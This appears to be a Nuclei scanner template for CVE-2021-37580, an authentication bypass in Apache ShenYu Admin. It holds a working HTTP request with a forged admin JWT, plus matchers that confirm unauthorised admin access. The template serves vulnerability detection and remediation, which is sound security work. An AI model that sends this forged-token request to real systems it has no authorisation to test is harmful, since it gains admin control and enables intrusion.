50 lines
1.7 KiB
YAML
50 lines
1.7 KiB
YAML
id: CVE-2021-37580
|
|
|
|
info:
|
|
name: Apache ShenYu Admin JWT - Authentication Bypass
|
|
author: pdteam
|
|
severity: critical
|
|
description: Apache ShenYu 2.3.0 and 2.4.0 allow Admin access without proper authentication. The incorrect use of JWT in ShenyuAdminBootstrap allows an attacker to bypass authentication.
|
|
remediation: |
|
|
Apply the patch or upgrade to the latest version of Apache ShenYu to fix the authentication bypass vulnerability.
|
|
reference:
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-37580
|
|
- https://github.com/fengwenhua/CVE-2021-37580
|
|
- https://lists.apache.org/thread/o15j25qwtpcw62k48xw1tnv48skh3zgb
|
|
- http://www.openwall.com/lists/oss-security/2021/11/16/1
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2021-37580
|
|
cwe-id: CWE-287
|
|
epss-score: 0.92515
|
|
epss-percentile: 0.987
|
|
cpe: cpe:2.3:a:apache:shenyu:2.3.0:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: apache
|
|
product: shenyu
|
|
tags: cve,cve2021,apache,jwt,shenyu
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /dashboardUser HTTP/1.1
|
|
Host: {{Hostname}}
|
|
X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6ImFkbWluIiwiZXhwIjoxNjM3MjY1MTIxfQ.-jjw2bGyQxna5Soe4fLVLaD3gUT5ALTcsvutPQoE2qk
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- 'query success'
|
|
- '"userName":"admin"'
|
|
- '"code":200'
|
|
condition: and
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 4b0a00483046022100e2470cee01ef54c1267bf1dcc03d37631f6df75381c400dad4f7d57d42882558022100b9e843914406dd96a6cd6f491a27e8842dc2b86a0072bf60398cd6b11f1fd583:922c64590222798bb761d5b6d8e72950
|